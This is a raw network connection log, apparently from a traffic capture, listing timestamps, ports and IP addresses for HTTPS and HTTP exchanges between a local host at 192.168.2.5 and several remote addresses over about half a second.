Nov 9, 2024 22:09:43.692701101 CET	443	49852	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.695003986 CET	49852	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.695015907 CET	443	49852	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.695688009 CET	49852	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.695697069 CET	443	49852	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.698755980 CET	443	49853	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.699196100 CET	49853	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.699234009 CET	443	49853	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.699745893 CET	49853	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.699752092 CET	443	49853	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.700370073 CET	443	49850	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.700432062 CET	443	49850	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.700500011 CET	49850	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.700654984 CET	49850	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.700671911 CET	443	49850	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.700689077 CET	49850	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.700695038 CET	443	49850	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.701071978 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.701126099 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.701878071 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.701890945 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.701901913 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.701915026 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.701926947 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.701926947 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.701948881 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.701982975 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.702665091 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.702677965 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.702728987 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.702897072 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.702923059 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.702933073 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.702948093 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.702949047 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.702960014 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.702970982 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.702985048 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.703032017 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.703896046 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.703908920 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.703922987 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.703934908 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.703944921 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.703974962 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.704010010 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.704469919 CET	49860	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.704482079 CET	443	49860	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.704766035 CET	49860	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.704933882 CET	49860	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.704946041 CET	443	49860	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.705957890 CET	443	49851	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.706767082 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.706806898 CET	443	49851	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.706808090 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.706857920 CET	49851	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.707010984 CET	443	49854	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.708419085 CET	49851	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.708429098 CET	443	49851	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.708981037 CET	443	49855	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:43.709187031 CET	49854	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.709214926 CET	443	49854	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.709280014 CET	443	49856	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:43.709424019 CET	49855	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:43.709433079 CET	443	49855	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:43.709909916 CET	443	49855	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:43.709914923 CET	49856	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:43.709922075 CET	443	49856	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:43.710289955 CET	49854	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.710299015 CET	443	49854	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.710302114 CET	443	49856	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:43.710333109 CET	49855	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:43.710432053 CET	443	49855	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:43.710602045 CET	49856	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:43.710663080 CET	443	49856	172.64.41.3	192.168.2.5
Nov 9, 2024 22:09:43.711023092 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.711036921 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.711047888 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.711091042 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.711107016 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.711837053 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.711855888 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.711869001 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.711880922 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.711891890 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.711895943 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.711908102 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.711920977 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.711930037 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.711961985 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.712794065 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.712810993 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.712822914 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.712837934 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.712851048 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.712862968 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.712865114 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.712877035 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.712898970 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.712913036 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.713699102 CET	49861	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.713722944 CET	443	49861	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.713735104 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.713799000 CET	49861	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.713819981 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.713957071 CET	49861	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.713968992 CET	443	49861	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.714615107 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.714631081 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.714672089 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.714704037 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.714745045 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.724881887 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.724895954 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.724958897 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.725697994 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.725714922 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.725728035 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.725740910 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.725754023 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.725764990 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.725766897 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.725780010 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.725791931 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.725806952 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.725835085 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.726581097 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.726604939 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.726619005 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.726632118 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.726644039 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.726655960 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.726660013 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.726671934 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.726689100 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.726725101 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.757143021 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.757184029 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.757203102 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.757222891 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.786632061 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.786674976 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.786688089 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.786708117 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.786736965 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.786849022 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.786864042 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.786904097 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.786987066 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.787026882 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.787164927 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.787178040 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.787229061 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.787319899 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.787363052 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.787488937 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.787591934 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.787604094 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.787616014 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.787631035 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.787671089 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.788198948 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.788211107 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.788254976 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.788290024 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.788321972 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.788333893 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.788372993 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.788507938 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.788522005 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.788547039 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.788573980 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.830383062 CET	49855	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:43.830481052 CET	49856	443	192.168.2.5	172.64.41.3
Nov 9, 2024 22:09:43.844466925 CET	443	49852	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.844527006 CET	443	49852	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.844686031 CET	49852	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.844774961 CET	49852	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.844794989 CET	443	49852	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.844805956 CET	49852	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.844811916 CET	443	49852	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.848942041 CET	443	49853	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.848964930 CET	49862	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.848983049 CET	443	49862	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.849065065 CET	443	49853	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.849066973 CET	49862	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.849131107 CET	49853	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.849277020 CET	49853	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.849288940 CET	443	49853	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.849323988 CET	49853	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.849328995 CET	443	49853	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.849531889 CET	49862	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.849545956 CET	443	49862	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.851393938 CET	49863	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:43.851417065 CET	443	49863	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:43.851586103 CET	49863	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:43.851782084 CET	49863	443	192.168.2.5	4.152.133.8
Nov 9, 2024 22:09:43.851794004 CET	443	49863	4.152.133.8	192.168.2.5
Nov 9, 2024 22:09:43.852521896 CET	49864	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.852540970 CET	443	49864	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.852641106 CET	49864	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.852787971 CET	49864	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.852799892 CET	443	49864	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.854002953 CET	443	49854	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.854068041 CET	443	49854	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.854120016 CET	49854	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.854235888 CET	49854	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.854252100 CET	443	49854	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.854271889 CET	49854	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.854278088 CET	443	49854	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.856560946 CET	49865	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.856570005 CET	443	49865	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.856632948 CET	49865	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.856791019 CET	49865	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:43.856812000 CET	443	49865	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:43.903492928 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.903551102 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.903565884 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.903578043 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.903601885 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.903620005 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.903760910 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.903773069 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.903808117 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.903940916 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.903954029 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.904000998 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.904180050 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.904191971 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.904202938 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.904216051 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.904226065 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.904228926 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.904262066 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.904719114 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.904766083 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.904778004 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.904788017 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.904824018 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.905000925 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.905013084 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.905071020 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.905086040 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.905148983 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.905160904 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.905175924 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.905190945 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.905251026 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.905602932 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.905644894 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:43.905654907 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.905675888 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:43.925873041 CET	49866	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:43.925915956 CET	443	49866	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:43.925998926 CET	49866	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:43.926414013 CET	49867	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:43.926431894 CET	443	49867	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:43.926505089 CET	49867	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:43.927299976 CET	49868	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:43.927335978 CET	443	49868	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:43.927506924 CET	49868	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:43.927782059 CET	49869	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:43.927807093 CET	443	49869	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:43.927882910 CET	49869	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:43.928282022 CET	49870	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:43.928292990 CET	443	49870	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:43.928445101 CET	49870	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:43.928494930 CET	49871	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:43.928502083 CET	443	49871	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:43.928702116 CET	49871	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:43.928760052 CET	49869	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:43.928772926 CET	443	49869	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:43.928986073 CET	49868	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:43.929001093 CET	443	49868	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:43.929116011 CET	49867	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:43.929127932 CET	443	49867	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:43.929326057 CET	49866	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:43.929339886 CET	443	49866	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:43.929573059 CET	49870	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:43.929582119 CET	443	49870	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:43.929739952 CET	49871	443	192.168.2.5	13.107.246.57
Nov 9, 2024 22:09:43.929757118 CET	443	49871	13.107.246.57	192.168.2.5
Nov 9, 2024 22:09:44.020250082 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.020323038 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.020332098 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.020338058 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.020359039 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.020376921 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.020490885 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.020577908 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.020589113 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.020623922 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.020694017 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.020704031 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.020741940 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.020821095 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.020833969 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.020862103 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.020889997 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.021018028 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.021030903 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.021065950 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.021086931 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.021173000 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.021228075 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.021291971 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.021305084 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.021337986 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.021505117 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.021517992 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.021544933 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.021572113 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.021653891 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.021665096 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.021698952 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.021711111 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.021770954 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.021784067 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.021821022 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.021981955 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.022001028 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.022042990 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.060940027 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.061018944 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.061032057 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.061043978 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.061074018 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.061074018 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.137140036 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.137177944 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.137192965 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.137224913 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.137255907 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.137315035 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.137516975 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:44.137540102 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.137552977 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.137564898 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.137577057 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:44.137589931 CET	49813	80	192.168.2.5	185.215.113.206
